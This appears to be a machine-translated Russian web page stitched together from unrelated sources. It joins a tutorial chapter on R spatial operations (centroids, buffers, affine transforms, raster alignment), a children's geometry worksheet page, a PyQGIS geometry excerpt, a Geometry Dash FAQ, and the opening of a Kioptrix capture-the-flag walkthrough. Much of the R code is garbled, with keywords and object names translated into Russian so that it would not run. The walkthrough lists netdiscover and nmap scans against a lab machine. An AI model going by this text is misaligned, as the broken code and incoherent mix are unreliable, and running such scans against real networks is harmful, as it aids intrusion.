Наиболее часто используемая операция центроида — это географический центроид . Этот тип операции центроида (часто называемый «центроидом») представляет собой центр масс в пространственном объекте (представьте себе балансировку пластины на пальце).Географические центроиды имеют множество применений, например, для создания простого точечного представления сложной геометрии или для оценки расстояний между многоугольниками. Их можно рассчитать с помощью функции sf st_centroid () , как показано в приведенном ниже коде, который генерирует географические центроиды регионов Новой Зеландии и притоков реки Сены, показанные черными точками на рисунке 5.3.

  nz_centroid = st_centroid (nz)
seine_centroid = st_centroid (seine)

Иногда географический центроид выходит за границы своих родительских объектов (подумайте о пончике).В таких случаях точка на поверхности Можно использовать операции , чтобы гарантировать, что точка будет находиться в родительском объекте (например, для маркировки нерегулярных многополигональных объектов, таких как островные государства), как показано красными точками на рисунке 5.3. Обратите внимание, что эти красные точки всегда лежат на своих родительских объектах. Они были созданы с помощью st_point_on_surface () следующим образом:

  nz_pos = st_point_on_surface (nz)
seine_pos = st_point_on_surface (невод)

РИСУНОК 5.3: Центроиды (черные точки) и «точки на поверхности» (красные точки) по регионам Новой Зеландии (слева) и наборам данных Сены (справа).

Существуют и другие типы центроидов, в том числе центр Чебышева и зрительный центр . Мы не будем рассматривать их здесь, но их можно вычислить с помощью R, как мы увидим в главе 10.

Буферы

Буферы — это многоугольники, представляющие область на заданном расстоянии от геометрического объекта: независимо от того, является ли ввод точкой, линией или многоугольником, на выходе будет многоугольник.В отличие от упрощения (которое часто используется для визуализации и уменьшения размера файла), буферизация обычно используется для анализа географических данных. Сколько точек находится на заданном расстоянии от этой линии? Какие демографические группы находятся в пределах досягаемости этого нового магазина? На такие вопросы можно ответить и визуализировать, создав буферы вокруг интересующих географических объектов.

На рис. 5.4 показаны буферы разного размера (5 и 50 км), окружающие реку Сена и притоки.Эти буферы были созданы с помощью приведенных ниже команд, которые показывают, что для команды st_buffer () требуется как минимум два аргумента: входная геометрия и расстояние, указанное в единицах CRS (в данном случае в метрах):

  seine_buff_5km = st_buffer (seine, dist = 5000)
seine_buff_50km = st_buffer (seine, dist = 50000)

РИСУНОК 5.4: Буферы вокруг набора данных Сены 5 км (слева) и 50 км (справа). Обратите внимание на цвета, которые отражают тот факт, что для каждого геометрического элемента создается один буфер.

Третий и последний аргумент st_buffer () — nQuadSegs , что означает «количество сегментов в квадранте» и по умолчанию установлен на 30 (что означает, что круги, созданные буферами, состоят из \ (4 \ times 30 = 120 \ ) линии). Этот аргумент требуется редко. Необычные случаи, когда это может быть полезно, включают в себя, когда память, потребляемая выходными данными буферной операции, является серьезной проблемой (в этом случае ее следует уменьшить) или когда требуется очень высокая точность (в этом случае ее следует увеличить).

Аффинные преобразования

Аффинное преобразование — это любое преобразование, которое сохраняет линии и параллелизм. Однако углы или длина не обязательно сохраняются. Аффинные преобразования включают, среди прочего, смещение (перенос), масштабирование и вращение. Кроме того, можно использовать любую их комбинацию. Аффинные преобразования — важная часть геокомпьютинга. Например, сдвиг необходим для размещения надписей, масштабирование используется в картограммах несмежных областей (см. Раздел 8.6), и многие аффинные преобразования применяются при перепроецировании или улучшении геометрии, созданной на основе искаженной или неправильно спроецированной карты. Пакет sf реализует аффинное преобразование для объектов классов sfg и sfc .

Сдвиг перемещает каждую точку на одинаковое расстояние в единицах карты. Это можно сделать, добавив числовой вектор к векторному объекту. Например, приведенный ниже код сдвигает все координаты y на 100000 метров к северу, но оставляет координаты x нетронутыми (левая панель рисунка 5.5).

  nz_shift = nz_sfc + c (0, 100000)

Масштабирование увеличивает или уменьшает объекты в несколько раз. Его можно применять как глобально, так и локально. Глобальное масштабирование увеличивает или уменьшает все значения координат по отношению к исходным координатам, сохраняя при этом топологические связи всех геометрий. Это можно сделать путем вычитания или умножения объекта sfg или sfc .

Локальное масштабирование обрабатывает геометрию независимо и требует точек, вокруг которых геометрия будет масштабироваться, например.г., центроиды. В приведенном ниже примере каждая геометрия уменьшается в два раза вокруг центроидов (средняя панель на рис. 5.5). Для этого каждый объект сначала сдвигается таким образом, чтобы его центр имел координаты 0, 0 ( (nz_sfc - nz_centroid_sfc) ). Далее размеры геометрических фигур уменьшаются вдвое ( * 0,5 ). Наконец, центроид каждого объекта перемещается обратно в координаты входных данных ( + nz_centroid_sfc ).

  nz_centroid_sfc = st_centroid (nz_sfc)
nz_scale = (nz_sfc - nz_centroid_sfc) * 0.5 + nz_centroid_sfc

Для вращения двумерных координат требуется матрица вращения:

\ [ R = \ begin {bmatrix} \ cos \ theta & — \ sin \ theta \\ \ sin \ theta & \ cos \ theta \\ \ end {bmatrix} \]

Он вращает точки по часовой стрелке. Матрица вращения может быть реализована в R как:

  вращение = функция (а) {
  r = a * pi / 180 # градусы в радианы
  матрица (c (cos (r), sin (r), -sin (r), cos (r)), nrow = 2, ncol = 2)
}

Функция поворота принимает один аргумент a — угол поворота в градусах.Вращение можно производить вокруг выбранных точек, таких как центроиды (правая панель на рис. 5.5). См. Виньетку ("sf3") для получения дополнительных примеров.

  nz_rotate = (nz_sfc - nz_centroid_sfc) * вращение (30) + nz_centroid_sfc

РИСУНОК 5.5: Иллюстрации аффинных преобразований: сдвиг, масштабирование и поворот.

Наконец, вновь созданные геометрии могут заменить старые с помощью функции st_set_geometry () :

  nz_scale_sf = st_set_geometry (nz, nz_scale)

Клипса

Пространственное отсечение — это форма пространственного подмножества, которая включает в себя изменения в столбцах геометрии по крайней мере некоторых из затронутых объектов.

Отсечение может применяться только к объектам более сложным, чем точки: линии, многоугольники и их «мульти» эквиваленты. Чтобы проиллюстрировать концепцию, мы начнем с простого примера: два перекрывающихся круга с центром на расстоянии одной единицы друг от друга и радиусом, равным единице (рис. 5.6).

  b = st_sfc (st_point (c (0, 1)), st_point (c (1, 1))) # создать 2 точки
b = st_buffer (b, dist = 1) # конвертировать точки в круги
участок (б)
text (x = c (-0.5, 1.5), y = 1, labels = c ("x", "y")) # добавить текст

РИСУНОК 5.6: перекрывающиеся круги.

Представьте, что вы хотите выделить не тот или иной круг, а пространство, охватываемое как x , так и y . Это можно сделать с помощью функции st_intersection () , проиллюстрированной с помощью объектов с именами x и y , которые представляют собой левую и правую окружности (рисунок 5.7).

  x = b [1]
y = b [2]
x_and_y = st_intersection (x, y)
участок (б)
plot (x_and_y, col = "lightgrey", add = TRUE) # цвет области пересечения

РИСУНОК 5.7: Перекрывающиеся круги серого цвета, указывающие на пересечение между ними.

Следующий фрагмент кода демонстрирует, как это работает для всех комбинаций диаграммы Венна, представляющей x и y , на основе рисунка 5.1 книги R for Data Science (Grolemund and Wickham, 2016).

РИСУНОК 5.8: Пространственные эквиваленты логических операторов.

Чтобы проиллюстрировать взаимосвязь между поднабором и отсечением пространственных данных, мы будем подмножество точек, которые покрывают ограничивающую рамку кругов x и y на рисунке 5.8. Некоторые точки будут внутри одного круга, некоторые будут внутри обоих, а некоторые не будут внутри ни одного. st_sample () используется ниже для генерации простого случайного распределения точек в пределах окружностей x и y , в результате чего получается результат, показанный на рисунке 5.9.

  bb = st_bbox (st_union (x, y))
коробка = st_as_sfc (bb)
set.seed (2017)
p = st_sample (x = коробка, размер = 10)
сюжет (коробка)
сюжет (x, добавить = ИСТИНА)
сюжет (у, добавить = ИСТИНА)
plot (p, add = TRUE)
текст (x = c (-0.5, 1.5), y = 1, labels = c ("x", "y"))

РИСУНОК 5.9: Случайно распределенные точки внутри ограничительной рамки, охватывающей круги x и y.

Метод логического оператора находит точки внутри как x , так и y с использованием пространственного предиката, такого как st_intersects () , тогда как метод пересечения просто находит точки внутри пересекающейся области, созданной выше как x_and_y . Как показано ниже, результаты идентичны, но метод, использующий обрезанный многоугольник, более краток:

  sel_p_xy = st_intersects (p, x, sparse = FALSE) [, 1] &
  st_intersects (p, y, sparse = FALSE) [, 1]
p_xy1 = p [sel_p_xy]
p_xy2 = p [x_and_y]
идентичные (p_xy1, p_xy2)
#> [1] ИСТИНА

Геометрические соединения

Как мы видели в разделе 3.2.2, пространственная агрегация может незаметно растворять геометрию соприкасающихся многоугольников в одной и той же группе. Это продемонстрировано в фрагменте кода ниже, в котором 49 us_states агрегированы в 4 области с использованием функций base и tidyverse (см. Результаты на рисунке 5.10):

  регионов = совокупность (x = us_states [, "total_pop_15"], by = list (us_states $ REGION),
                    FUN = сумма, na.rm = TRUE)
регионы2 = us_states%>% group_by (REGION)%>%
  суммировать (pop = sum (total_pop_15, na.rm = ИСТИНА))
#> `summarize ()` разгруппировать вывод (переопределить аргументом `.groups`)
#> хотя координаты - долгота / широта, st_union предполагает, что они плоские
#> хотя координаты - долгота / широта, st_union предполагает, что они плоские
#> хотя координаты - долгота / широта, st_union предполагает, что они плоские
#> хотя координаты - долгота / широта, st_union предполагает, что они плоские

РИСУНОК 5.10: Пространственная агрегация на смежных многоугольниках, проиллюстрированная агрегацией населения штатов США по регионам, причем население представлено цветом.Обратите внимание, что операция автоматически стирает границы между состояниями.

Что происходит с геометрией? За кулисами и aggregate () , и summarize () объединяют геометрии и растворяют границы между ними с помощью st_union () . Это показано в фрагменте кода ниже, который создает единый западный США:

  us_west = us_states [us_states $ REGION == "Запад",]
us_west_union = st_union (us_west)
#> хотя координаты - долгота / широта, st_union предполагает, что они плоские

Функция может принимать две геометрии и объединять их, как показано в фрагменте кода ниже, который создает единый западный блок, включающий Техас (задача: воспроизвести и отобразить результат):

  texas = us_states [us_states $ NAME == "Техас",]
texas_union = st_union (us_west_union, texas)

Преобразования типов

Приведение геометрии — это мощная операция, позволяющая преобразовать тип геометрии.Это реализовано в функции st_cast из пакета sf . Важно отметить, что st_cast ведет себя по-разному для объектов простой геометрии пространственных объектов ( sfg ), столбца простой геометрии пространственных объектов ( sfc ) и простых объектов объектов.

Давайте создадим мультиточку, чтобы проиллюстрировать, как литье геометрии работает с объектами простой геометрии ( sfg ):

  многоточечный = st_multipoint (матрица (c (1, 3, 5, 1, 3, 1), ncol = 2))

В этом случае st_cast может быть полезным для преобразования нового объекта в линию или многоугольник (рисунок 5.11):

  linestring = st_cast (многоточечный, "LINESTRING")
polyg = st_cast (многоточечный, "ПОЛИГОН")

РИСУНОК 5.11: Примеры линий и многоугольников, полученных из многоточечной геометрии.

Преобразование из многоточечного в линейный — это обычная операция, которая создает линейный объект из упорядоченных точечных наблюдений, таких как измерения GPS или носители с геотегами. Это позволяет выполнять пространственные операции, такие как длина пройденного пути. Преобразование из многоточечных или линейных в многоугольник часто используется для расчета площади, например, из набора измерений GPS, выполненных вокруг озера или из углов участка застройки.

Процесс преобразования также можно отменить с помощью st_cast :

  multipoint_2 = st_cast (строка, "MULTIPOINT")
multipoint_3 = st_cast (многоугольник, "MULTIPOINT")
all.equal (многоточечный, многоточечный_2, многоточечный_3)
#> [1] ИСТИНА

Для одной простой геометрии пространственного объекта ( sfg ) st_cast также обеспечивает преобразование геометрии из не-мульти-типов в мульти-типы (например, POINT в MULTIPOINT ) и из мульти-типов в не-мульти-типы. .Однако во второй группе случаев останется только первый элемент старого объекта.

Формирование геометрии столбца геометрии простых элементов ( sfc ) и объектов простых элементов в большинстве случаев работает так же, как и для отдельных геометрических элементов. Одним из важных отличий является преобразование нескольких типов в не-множественные. В результате этого процесса мультиобъекты разбиваются на множество не мультиобъектов.

Таблица 5.1 показывает возможные преобразования типов геометрии для простых пространственных объектов.Каждый входной объект простой функции только с одним элементом (первый столбец) преобразуется непосредственно в другой тип геометрии. Некоторые преобразования невозможны, например, вы не можете преобразовать отдельную точку в многострочную строку или многоугольник (поэтому ячейки [1, 4: 5] в таблице имеют значение NA). С другой стороны, некоторые преобразования разбивают объект ввода с одним элементом на объект с несколькими элементами. Вы можете увидеть это, например, когда наложите на точку мультиточка, состоящую из пяти пар координат.

ТАБЛИЦА 5.1: Приведение геометрии к простой геометрии пространственных объектов (см. Раздел 2.1) с типом ввода по строке и типом вывода по столбцу
POI MPOI LIN МЛИН POL MPOL GC
POI (1) 1 1 1 NA NA NA NA
МПОИ (1) 4 1 1 1 1 NA NA
LIN (1) 5 1 1 1 1 NA NA
МЛИН (1) 7 2 2 1 NA NA NA
ПОЛ (1) 5 1 1 1 1 1 NA
MPOL (1) 10 1 NA 1 2 1 1
GC (1) 9 1 NA NA NA NA 1
Примечание. Такие значения, как (1) представляют количество функций; NA означает, что операция невозможна.Сокращения: POI, LIN, POL и GC относятся к POINT, LINESTRING, POLYGON и GEOMETRYCOLLECTION. Версия MULTI этих геометрических типов обозначается предшествующей буквой M, например, MPOI — это аббревиатура от MULTIPOINT.

Давайте попробуем применить преобразования типа геометрии к новому объекту, Multilinestring_sf , в качестве примера (слева на рисунке 5.12):

  Multilinestring_list = список (матрица (c (1, 4, 5, 3), ncol = 2),
                            матрица (c (4, 4, 4, 1), ncol = 2),
                            матрица (c (2, 4, 2, 2), ncol = 2))
Multilinestring = st_multilinestring ((Multilinestring_list))
Multilinestring_sf = st_sf (geom = st_sfc (многострочный))
Multilinestring_sf
#> Простая коллекция функций с 1 функцией и 0 полями
#> тип геометрии: МУЛЬТИЛИНЕСТРИНГ
#> размер: XY
#> bbox: xmin: 1 ymin: 1 xmax: 4 ymax: 5
#> CRS: NA
#> geom
#> 1 МУЛЬТИЛИНЭСТРИНГ ((1 5, 4 3)...

Вы можете представить это как сеть дорог или рек. В новом объекте есть только одна строка, определяющая все строки. Это ограничивает количество операций, которые могут быть выполнены, например предотвращает добавление имен к каждому сегменту линии или вычисление длины отдельных линий. В этой ситуации можно использовать функцию st_cast , поскольку она разделяет одну многострочную строку на три строки:

  linestring_sf2 = st_cast (Multilinestring_sf, «LINESTRING»)
linestring_sf2
#> Простая коллекция функций с 3 функциями и 0 полями
#> тип геометрии: ЛАЙНЕСТРИНГ
#> размер: XY
#> bbox: xmin: 1 ymin: 1 xmax: 4 ymax: 5
#> CRS: NA
#> geom
#> 1 ЛИНЕСТРИНГ (1 5, 4 3)
#> 2 ЛИНЕСТРИНГ (4 4, 4 1)
#> 3 ЛАЙНЕСТРИНГ (2 2, 4 2)

РИСУНОК 5.12: Примеры приведения типов между MULTILINESTRING (слева) и LINESTRING (справа).

Вновь созданный объект позволяет создавать атрибуты (подробнее см. Раздел 3.2.4) и измерения длины:

  linestring_sf2 $ name = c («Риддл-роуд», «Маршалл-авеню», «Фоулк-стрит»)
linestring_sf2 $ length = st_length (linestring_sf2)
linestring_sf2
#> Простая коллекция функций с 3 функциями и 2 полями
#> тип геометрии: ЛАЙНЕСТРИНГ
#> размер: XY
#> bbox: xmin: 1 ymin: 1 xmax: 4 ymax: 5
#> CRS: NA
#> длина имени геома
#> 1 LINESTRING (1 5, 4 3) Riddle Rd 3.61
#> 2 LINESTRING (4 4, 4 1) Marshall Ave 3.00
#> 3 LINESTRING (2 2, 4 2) Foulke St 2,00

Геометрические операции над растровыми данными

Геометрические растровые операции включают сдвиг, зеркальное отображение, зеркальное отображение, масштабирование, поворот или деформацию изображений. Эти операции необходимы для множества приложений, включая пространственную привязку, которая используется для наложения изображений на точную карту с известной CRS (Liu and Mason 2009). Существует множество методов географической привязки, в том числе

  • георективация на основе известных наземных опорных точек;
    • Ортотрансформирование
  • с учетом топографии местности; и
    • Регистрация изображений
  • используется для объединения изображений одного и того же объекта, но снятых с разных датчиков, в процессе совмещения одного изображения с другим (с точки зрения системы координат и разрешения).

R не подходит для первых двух пунктов, поскольку они часто требуют ручного вмешательства, поэтому они обычно выполняются с помощью специального программного обеспечения ГИС (см. Также главу 9). С другой стороны, в R возможно выравнивание нескольких изображений, и в этом разделе среди прочего показано, как это сделать. Это часто включает изменение размера, разрешения и источника изображения. Соответствующая проекция, конечно, также требуется, но уже рассматривается в разделе 6.6. В любом случае есть и другие причины для выполнения геометрической операции над одиночным растровым изображением.Например, в главе 13 мы определяем мегаполисы в Германии как 20 км 2 пикселей с более чем 500 000 жителей. Однако исходный растр жителей имеет разрешение 1 км 2 , поэтому мы уменьшим (суммируем) разрешение в 20 раз (см. Раздел 13.5). Еще одна причина агрегирования растра — просто уменьшить время выполнения или сэкономить место на диске. Конечно, это возможно только в том случае, если поставленная задача допускает более грубое решение. Иногда для поставленной задачи достаточно более грубого разрешения.

Геометрические пересечения

В Разделе 4.3.1 мы показали, как извлекать значения из растра, наложенного другими пространственными объектами. Чтобы получить пространственный вывод, мы можем использовать почти тот же синтаксис подмножества. Единственное отличие состоит в том, что мы должны четко указать, что мы хотели бы сохранить структуру матрицы, установив для параметра drop значение FALSE . Это вернет растровый объект, содержащий ячейки, средние точки которых перекрываются с клипом .

  данные ("elev", package = "spData")
clip = raster (xmn = 0,9, xmx = 1,8, ymn = -0,45, ymx = 0,45,
              res = 0,3, vals = rep (1, 9))
подняться [клип, drop = FALSE]
#> класс: RasterLayer
#> размеры: 2, 1, 2 (nrow, ncol, ncell)
#> разрешение: 0,5, 0,5 (x, y)
#> степень: 1, 1,5, -0,5, 0,5 (xmin, xmax, ymin, ymax)
#> crs: + proj = longlat + datum = WGS84 + ellps = WGS84 + towgs84 = 0,0,0
#> источник: память
#> имена: слой
#> значения: 18, 24 (мин., макс.)

Для той же операции мы также можем использовать команду correct () и crop () .

Объем и происхождение

При объединении или выполнении алгебры карт на растрах их разрешение, проекция, начало координат и / или протяженность должны совпадать. В противном случае, как нам добавить значения одного растра с разрешением 0,2 десятичных градуса ко второму растру с разрешением 1 десятичный градус? Та же проблема возникает, когда мы хотим объединить спутниковые снимки с разных датчиков с разными проекциями и разрешениями. Мы можем устранить такие несоответствия, выровняв растры.

В простейшем случае два изображения различаются только размером. Следующий код добавляет одну строку и два столбца с каждой стороны растра, устанавливая все новые значения на высоту 1000 метров (рисунок 5.13).

  данные (elev, package = "spData")
высота_2 = продлить (высота, c (1, 2), значение = 1000)
участок (отметка_2)

РИСУНОК 5.13: Исходный растр расширен на одну строку с каждой стороны (сверху, снизу) и по два столбца с каждой стороны (справа, слева).

Выполняя алгебраическую операцию над двумя объектами с разными экстентами в R, пакет raster возвращает результат для пересечения и сообщает об этом в предупреждении.

  отметка_3 = отметка + отметка_2
#> Предупреждение в elev + elev_2: растровые объекты имеют разные размеры. Результат для
#> их пересечение возвращается

Однако мы также можем выровнять экстент двух растров с extend () . Вместо того, чтобы сообщать функции, сколько строк или столбцов следует добавить (как это было сделано ранее), мы позволяем ей вычислить это с помощью другого растрового объекта. Здесь мы расширяем объект отметка до степени отметки_2 .Вновь добавленные строки и столбец получают значение по умолчанию параметра value , то есть NA .

  elev_4 = выдвинуть (elev, elev_2)

Начало растра — это угол ячейки, ближайший к координатам (0, 0). Функция origin () возвращает координаты начала координат. В приведенном ниже примере существует угол ячейки с координатами (0, 0), но это не обязательно так.

  происхождение (elev_4)
#> [1] 0 0

Если два растра имеют разное происхождение, их ячейки не перекрываются полностью, что сделало бы алгебру карт невозможной.Чтобы изменить источник, используйте origin () . Рисунок 5.14 показывает эффект изменения начала координат.

  # изменить происхождение
происхождение (elev_4) = c (0,25, 0,25)
участок (высота_4)
# и добавляем исходный растр
сюжет (высота, добавить = ИСТИНА)

РИСУНОК 5.14: Растры с одинаковыми значениями, но разного происхождения.

Обратите внимание, что частое изменение разрешения (следующий раздел) также меняет исходную точку.

Агрегация и дезагрегация

Наборы растровых данных также могут различаться по своему разрешению.Чтобы согласовать разрешения, можно либо уменьшить (, агрегировать (), ) или увеличить (, дезагрегировать (), ) разрешение одного растра. В качестве примера здесь мы изменяем пространственное разрешение dem (находится в пакете RQGIS ) в 5 раз (рисунок 5.15). Кроме того, значение выходной ячейки должно соответствовать среднему значению входных ячеек (обратите внимание, что можно использовать и другие функции, такие как median () , sum () и т. Д.):

  данных ("dem", package = "spDataLarge")
dem_agg = агрегат (dem, fact = 5, fun = mean)

РИСУНОК 5.15: Исходный растр (слева). Агрегированный растр (справа).

Напротив, функция дезагрегировать () увеличивает разрешение. Однако мы должны указать метод заполнения новых ячеек. Функция disaggregate () предоставляет два метода. Первый ( method = "" ) просто дает всем выходным ячейкам значение входной ячейки и, следовательно, дублирует значения, что приводит к блочному выходному изображению.

Билинейный метод , в свою очередь, представляет собой метод интерполяции, который использует четыре ближайших пиксельных центра входного изображения (точки цвета лосося на рисунке 5.16) для вычисления среднего взвешенного по расстоянию (стрелки на рис. 5.16 как значение выходной ячейки — квадрат в верхнем левом углу на рис. 5.16).

  dem_disagg = disaggregate (dem_agg, fact = 5, method = "bilinear")
идентичный (dem, dem_disagg)
#> [1] ЛОЖЬ

РИСУНОК 5.16: Билинейная дезагрегация в действии.

Сравнение значений dem и dem_disagg говорит нам, что они не идентичны (вы также можете использовать compareRaster () или all.равно () ). Однако этого вряд ли можно было ожидать, поскольку дезагрегирование — это простой метод интерполяции. Важно помнить, что дезагрегирование приводит к более точному разрешению; соответствующие значения, однако, имеют такую ​​же точность, как и их источник с более низким разрешением.

Процесс вычисления значений для новых местоположений пикселей также называется передискретизацией. Фактически, пакет raster предоставляет функцию resample () . Он позволяет выровнять несколько свойств растра за один раз, а именно исходную точку, экстент и разрешение.По умолчанию используется билинейная интерполяция .

  # добавить 2 строки и столбца, т.е. изменить экстент
dem_agg = расширить (dem_agg, 2)
dem_disagg_2 = повторная выборка (dem_agg, dem)

Наконец, чтобы выровнять многие (возможно, сотни или тысячи) изображений, хранящихся на диске, вы можете использовать функцию gdalUtils :: align_rasters () . Однако вы также можете использовать растр с очень большими наборами данных. Это потому, что растр :

  1. Позволяет работать с наборами растровых данных, которые слишком велики для размещения в основной памяти (ОЗУ), обрабатывая только ее фрагменты.
  2. Пытается облегчить параллельную обработку. Для получения дополнительной информации см. Справочные страницы beginCluster () и clusterteR () . Кроме того, ознакомьтесь с разделом Multi-core functions в виньетке ("functions", package = "raster") .

Геометрия первого класса

Добро пожаловать на страницу с рабочими листами по геометрии первого класса по математике саламандр.

Здесь вы найдете ряд бесплатных печатных листов геометрии, которые помогут вашему ребенку выучить свои двухмерные и трехмерные фигуры.

На этой веб-странице вы найдете наш ассортимент рабочих листов по геометрии для 1-го класса для детей.

Существует ряд листов с геометрией для печати, включая идентификационные 2d и 3d формы в разной ориентации и рисование 2d фигур.

Использование этих листов поможет вашему ребенку:

  • определение и счет сторон и углов;
  • идентификация открытых и закрытых форм;
  • распознавать набор двухмерных фигур — квадраты, прямоугольники, круги и треугольники;
  • распознавать различные трехмерные формы — сферы, конусы, кубы, кубоиды и пирамиды;
  • нарисуйте набор двухмерных фигур.

Следующие ниже листы включают нумерацию и подсчет углов ряда двумерных фигур.

Следующие листы включают нумерацию и подсчет сторон диапазона двухмерных фигур.

На следующих листах подсчитываются стороны и углы двухмерных фигур.

Следующие ниже листы включают идентификацию открытых или закрытых форм.

Второй лист также включает в себя изменение открытой формы на закрытую.

Почему бы не взглянуть на наши рабочие листы произвольной формы для детского сада?

Эта веб-страница посвящена идентификации двухмерных фигур.

На листах исследуются квадраты, прямоугольники, круги и треугольники, а также совпадают одинаковые формы.

Существуют также рабочие листы для обведения фигур, которые помогут вашему ребенку научиться называть двумерные формы и попрактиковаться в их отслеживании, чтобы улучшить свои мелкие моторные навыки.

Есть раздел рабочих листов форм для дошкольников, которые находятся на очень базовом уровне, и раздел рабочих листов детских садов с более широким диапазоном. форм в разной ориентации.

Приходите и посмотрите наши рабочие листы по геометрии для второго класса.

Здесь вы найдете ряд листов с 2- и 3-мерными фигурами, которые помогут Помогите ребенку понять геометрию на втором уровне класса.

Эти листы более сложны, чем те, что представлены на этой странице.

На каждом листе есть ответы.

Взгляните на еще несколько наших рабочих листов, похожих на эти.

Здесь вы найдете подборку листов для печати 2d и 3d форм.

Каждый лист доступен в цветном или черно-белом цвете, с маркировкой или без нее.

Использование этих листов поможет вашему ребенку:

  • распознает и дает название диапазону двух- и трехмерных фигур;
  • распознает правильные и неправильные формы.

Здесь вы найдете наш ассортимент бесплатных 2D-форм 1-го класса.Следующие печатные формы содержат изображения общих 2D-форм. используется в геометрии первого класса, которую должен знать ваш ребенок.

Использование этих листов поможет вашему ребенку:

  • знать свойства различных 2D и 3D фигур;
  • распознавать разные типы треугольников, прямоугольников и квадратов;

Саламандры-математики надеются, что вам понравятся эти бесплатные распечатываемые рабочие листы по математике. и все другие наши математические игры и ресурсы.

Мы приветствуем любые комментарии о нашем сайте или рабочие листы в поле комментариев Facebook внизу каждой страницы.


7. Обработка геометрии — Документация QGIS

Фрагменты кода на этой странице нуждаются в следующем импорте, если вы находитесь за пределами консоли pyqgis:

Точки, линии и многоугольники, которые представляют пространственный объект, обычно называемые геометриями. В QGIS они представлены QgsGeometry класс.

Иногда одна геометрия на самом деле представляет собой набор простых (состоящих из одной детали) геометрии. Такая геометрия называется геометрией, состоящей из нескольких частей. Если он содержит только один тип простой геометрии, мы называем его многоточечным, многострочным или многополигональный. Например, страна, состоящая из нескольких островов, может быть представлен в виде мульти-многоугольника.

Координаты геометрических фигур могут быть в любой системе координат (CRS). При извлечении объектов из слоя связанные геометрии будут иметь координаты в CRS слоя.

Описание и спецификации всех возможных геометрических форм конструкции и отношения доступны в Стандартах доступа к простым функциям OGC для получения дополнительных сведений.

PyQGIS предоставляет несколько вариантов создания геометрии:

  • по координатам

     gPnt = QgsGeometry.fromPointXY (QgsPointXY (1,1))
печать (gPnt)
gLine = QgsGeometry.fromPolyline ([QgsPoint (1, 1), QgsPoint (2, 2)])
печать (gLine)
gPolygon = QgsGeometry.fromPolygonXY ([[QgsPointXY (1, 1),
    QgsPointXY (2, 2), QgsPointXY (2, 1)]])
печать (gPolygon)

    Координаты задаются с использованием класса QgsPoint или QgsPointXY класс. Разница между этими классами в том, что QgsPoint поддерживает размеры M и Z.

    Полилиния (Linestring) представлена ​​списком точек.

    Многоугольник — это представлен списком линейных колец (т. е. замкнутых линий). Первое кольцо — внешнее кольцо (граница), необязательные последующие кольца — это отверстия в многоугольнике.Обратите внимание, что в отличие от некоторых программ, QGIS закроет кольцо для вас, поэтому нет необходимости дублировать первую точку как последнюю.

    Многокомпонентная геометрия идет еще дальше: многоточечная — это список точек, multi-linestring — это список линий, а multi-polygon — это список полигоны.

  • из общеизвестного текста (WKT)

     geom = QgsGeometry.fromWkt ("ТОЧКА (3 4)")
печать (геометрия)

  • из хорошо известного двоичного файла (WKB)

     g = QgsGeometry ()
wkb = байты.fromhex ("010100000000000000000045400000000000001440")
g.fromWkb (wkb)

# вывести WKT-представление геометрии
print (g.asWkt

Часто задаваемые вопросы о Geometry Dash — RobTop Games

Часто задаваемые вопросы:

В: Я потерял осколки / алмазы / шары после обновления до 2.11!

A: В версии 2.1 была ошибка дублирования предметов, которая давала пользователям дополнительные награды. Это было исправлено в 2.11, и эти награды были удалены.Так что если вы потеряете осколки / алмазы и т. Д. После загрузки 2.11, это потому, что они были ошибочными. Извините: /

Q: Я получаю сообщение «Что-то пошло не так», когда пытаюсь загрузить уровни, размещать комментарии, проверять рекорды и т. Д.

A: Убедитесь, что ваш пароль правильный. Откройте Geometry Dash и перейдите в «Параметры / Учетная запись / Дополнительно / Обновить логин».

Если вы можете войти в систему, но по-прежнему получаете сообщение об ошибке, обратитесь в службу поддержки.

Q: Как я могу изменить свой пароль?

  • Перейти на эту страницу: Управление счетом
  • Нажмите «Забыли пароль»
  • Вы получите электронное письмо со ссылкой, по которой вы можете изменить свой пароль.
  • После смены пароля вам нужно будет обновить логин в игре. «Параметры / Учетная запись / Дополнительно / Обновить логин»

В: Я получаю сообщение об ошибке «Неверный адрес электронной почты» при попытке регистрации!

Сначала убедитесь, что вы ввели правильный адрес электронной почты. Если вы уверены, что адрес электронной почты правильный, выполните следующие действия.

  • Перейти на эту страницу: Управление счетом
  • Нажмите «Недействительный адрес электронной почты».
  • Введите свой адрес электронной почты и нажмите «Добавить адрес электронной почты».
  • Теперь вы можете зарегистрироваться, используя этот адрес электронной почты.

В: Я забыл свое имя пользователя.

В: Я не вижу свой глобальный рейтинг, забанен ли я в таблице лидеров?

A: Сейчас минимальное количество звезд для глобального ранга — 2000. Если у вас меньше 2000 звезд, вы не увидите глобального ранга, даже если вы не забанены в таблице лидеров.

Система в настоящее время меняется, ранги и т. Д.может не работать должным образом. А пока просто подождите 🙂

Q: Как я могу изменить свое имя пользователя?

В: Где обновление 2.2?

A:… ¯ \ _ (ツ) _ / ¯

CTF — Kioptrix Уровень 1 — Пошаговое руководство

Kioptrix — одна из лучших серий для сдачи экзамена OSCP. Эта виртуальная машина, честно говоря, была довольно простой с точки зрения сложности, поскольку ее основной целью было научить вас основам использования и эксплуатации инструментов.В этой серии есть еще 4 уровня, и они становятся все сложнее и сложнее. Так что пристегнитесь и следите за новостями!

Первый шаг, который нам нужно сделать, — это провести сбор разведданных. Это включает в себя Footprinting и Fingerprinting хосты, серверы и т. Д. Если вы хотите узнать больше о надлежащих процедурах и шагах, я предлагаю вам прочитать краткую шпаргалку по тестированию на проникновение.

Также читайте: Каждый тестировщик проникновения, который вы должны знать об этом — Правила взаимодействия

Поскольку виртуальная машина размещается в нашей персональной системе с использованием режима NAT поверх VMWare, мы продолжим сканирование нашей сети, чтобы увидеть, не можем ли мы получить IP-адрес.

Для этого введите в терминале следующую команду:

Команда: netdiscover -i eth0 192.168.36.0/24

Итак, наш целевой IP-адрес машины Kioptrix — 192.168.36.129 , а IP-адрес машины Kali Linux — 192.168.36.128 . Следующее, что нужно сделать, это выполнить сканирование Nmap против цели, чтобы определить запущенные службы и порты.

Команда: nmap -sS -T5 -Pn 192.168.36.129

Как видите, открыты следующие порты:

  • 22 / tcp — SSH
  • 80 / TCP — HTTP
  • 111 / TCP — RPCBIND
  • 139 / TCP — NETBIOS-SSN
  • 443 / TCP — HTTPS
  • 1024 / TCP — KDM

Из вышеприведенного вывода кажется, что порт 139 используется службой Netbios-ssn , поэтому наша следующая задача — сканировать цель с помощью NBTSCAN Tool.

О NBTSCAN — Это инструмент командной строки, который сканирует открытые серверы имен NETBIOS в локальной или удаленной сети TCP / IP.

